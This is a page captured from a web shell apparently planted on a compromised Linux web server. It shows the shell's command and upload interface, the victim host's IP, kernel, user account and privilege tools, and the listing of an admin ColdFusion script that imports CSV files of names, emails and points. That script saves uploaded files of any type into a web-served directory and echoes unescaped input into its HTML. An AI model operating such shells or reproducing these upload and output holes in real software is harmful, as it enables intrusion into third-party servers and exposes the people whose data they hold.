403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.37
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/public_html/newadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/public_html/newadmin/upload2.cfm
<cfinclude template="header.cfm">

<div id="content">
  <div id="content-header"></div>
  <div class="container-fluid" style="margin-left:200px;">
    <cfsetting requesttimeout="600">
    <cftry>
      <!--- Check if file was uploaded --->
      <cfif structKeyExists(form, "csvfile")>
        <!--- Save uploaded file to temp directory --->
        <cffile action="upload" filefield="csvfile" destination="/home/home2/cgny/public_html/2019/newadmin/" nameconflict="overwrite" result="uploadResult">
        
        <!--- Read and parse CSV file --->
        <cfset csvData = []>
        <cffile action="read" file="#uploadResult.serverFile#" variable="fileContent">
        <cfset csvLines = listToArray(fileContent, chr(10))>

        <!--- Parse each row starting from line 2 (skip header) --->
        <cfloop index="i" from="2" to="#arrayLen(csvLines)#">
          <cfset rowData = listToArray(csvLines[i])>

          <!--- Ensure each row has exactly 3 columns --->
          <cfif arrayLen(rowData) EQ 3>
            <cfset rowData = arrayMap(rowData, function(val) { return trim(val); })>

            <cfif len(rowData[1]) AND len(rowData[2])>
              <!--- Clean numeric Points field --->
              <cfset rowData[3] = reReplace(rowData[3], "[^0-9.]", "", "all")>

              <cfif isNumeric(rowData[3])>
                <cfset csvData.append(rowData)>
              <cfelse>
                <cfoutput><p>Warning: Skipping line #i#: Invalid numeric Points. Data: #arrayToList(rowData, ", ")#</p></cfoutput>
              </cfif>
            <cfelse>
              <cfoutput><p>Warning: Skipping line #i#: Missing Name or Email. Data: #arrayToList(rowData, ", ")#</p></cfoutput>
            </cfif>
          <cfelse>
            <cfoutput><p>Warning: Skipping line #i#: Invalid column count. Data: #arrayToList(rowData, ", ")#</p></cfoutput>
          </cfif>
        </cfloop>

        <!--- Clear previous data in temp_table2 --->
        <cftry>
          <cfquery name="truncateTable" datasource="#ds#">
            TRUNCATE TABLE temp_table2
          </cfquery>
          <cfcatch></cfcatch>
        </cftry>

        <!--- Insert parsed CSV data into temp_table2 --->
        <cfloop index="i" from="1" to="#arrayLen(csvData)#">
          <cfquery name="insertData" datasource="#ds#">
            INSERT INTO temp_table2 (name, email, points)
            VALUES (
              <cfqueryparam value="#csvData[i][1]#" cfsqltype="CF_SQL_VARCHAR">,
              <cfqueryparam value="#csvData[i][2]#" cfsqltype="CF_SQL_VARCHAR">,
              <cfqueryparam value="#csvData[i][3]#" cfsqltype="CF_SQL_INTEGER">
            );
          </cfquery>
        </cfloop>

        <p><a href="emailall2.cfm" onclick="return confirm('Are you sure?');">Email Everyone</a></p>

        <!--- Retrieve and display aggregated user data --->
        <cfquery name="getUserData" datasource="#ds#">
          SELECT name, email, SUM(points) AS total_points
          FROM temp_table2
          GROUP BY email, name
          ORDER BY name;
        </cfquery>

        <cfoutput>
        <table id="example23" class="display nowrap table table-hover table-striped table-bordered" cellspacing="0" width="100%">
          <tr>
            <th>Name</th>
            <th>Email</th>
            <th>Total Points</th>
            <th>Action</th>
          </tr>
          <cfloop query="getUserData">
            <tr>
              <td>#name#</td>
              <td>#email#</td>
              <td>#total_points#</td>
              <td><a href="email2.cfm?email=#urlEncodedFormat(email)#">Send Email</a></td>
            </tr>
          </cfloop>
        </table>
        </cfoutput>

      <cfelse>
        <cfoutput>
          <p>No file uploaded. Please go back and try again.</p>
          <p><a href="index.cfm">Back to Upload</a></p>
        </cfoutput>
      </cfif>

      <cfcatch>
        <cfoutput>
          <p>Error: #cfcatch.message#</p>
          <p><a href="index.cfm">Back to Upload</a></p>
        </cfoutput>
      </cfcatch>
    </cftry>
  </div>

  <br><br><br><br>

<cfinclude template="footer.cfm">

Youez - 2016 - github.com/yon3zu
LinuXploit